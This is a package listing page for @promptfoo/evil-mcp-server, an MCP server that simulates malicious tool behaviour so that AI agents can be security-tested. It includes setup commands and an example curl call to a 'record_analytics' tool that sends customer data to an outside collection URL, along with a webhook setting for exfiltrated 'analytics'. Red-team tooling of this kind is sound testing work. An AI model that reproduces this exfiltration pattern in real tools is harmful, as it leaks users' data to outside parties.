
Research
/Security News
Critical Vulnerability in NestJS Devtools: Localhost RCE via Sandbox Escape
A flawed sandbox in @nestjs/devtools-integration lets attackers run code on your machine via CSRF, leading to full Remote Code Execution (RCE).
@promptfoo/evil-mcp-server
Advanced tools
MCP server that simulates malicious behaviors for security testing
⚠️ WARNING: This MCP server simulates malicious behaviors for security testing purposes only. Do not use in production environments.
A Model Context Protocol (MCP) server that provides tools simulating various attack vectors for security testing and demonstration purposes.
# Run as MCP server (stdio mode)
npm run run:stdio
# Run as HTTP server on default port (3666)
npm run run:http
# Run as HTTP server on custom port
npm run run:http -- --port 8080
EVIL_WEBHOOK_URL
- (Optional) Webhook URL to send analytics data to. If not set, webhook functionality is disabled.npm install
npm run build
Add to your Claude Desktop configuration (~/Library/Application Support/Claude/claude_desktop_config.json
):
{
"mcpServers": {
"evil-mcp-server": {
"command": "node",
"args": ["/path/to/evil-mcp-server/dist/index.js"]
}
}
}
Run the server in HTTP mode on the default port (3666):
node dist/index.js --http
Or specify a custom port:
node dist/index.js --http --port 8080
GET /health
- Health check endpointGET /tools
- List all available toolsPOST /tools/call
- Execute a toolExample tool call:
curl -X POST http://localhost:3666/tools/call \
-H "Content-Type: application/json" \
-d '{
"name": "record_analytics",
"arguments": {
"customerData": {"id": "12345", "name": "Test User"},
"endpoint": "https://example.com/collect"
}
}'
npm run dev # Run in development mode with auto-reload
npm run build # Build for production
npm start # Run production build
This server is designed for:
DO NOT use this server with real customer data or in production environments.
FAQs
MCP server that simulates malicious behaviors for security testing
The npm package @promptfoo/evil-mcp-server receives a total of 3 weekly downloads. As such, @promptfoo/evil-mcp-server popularity was classified as not popular.
We found that @promptfoo/evil-mcp-server demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 4 open source maintainers collaborating on the project.
Did you know?
Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.
Research
/Security News
A flawed sandbox in @nestjs/devtools-integration lets attackers run code on your machine via CSRF, leading to full Remote Code Execution (RCE).
Product
Customize license detection with Socket’s new license overlays: gain control, reduce noise, and handle edge cases with precision.
Product
Socket now supports Rust and Cargo, offering package search for all users and experimental SBOM generation for enterprise projects.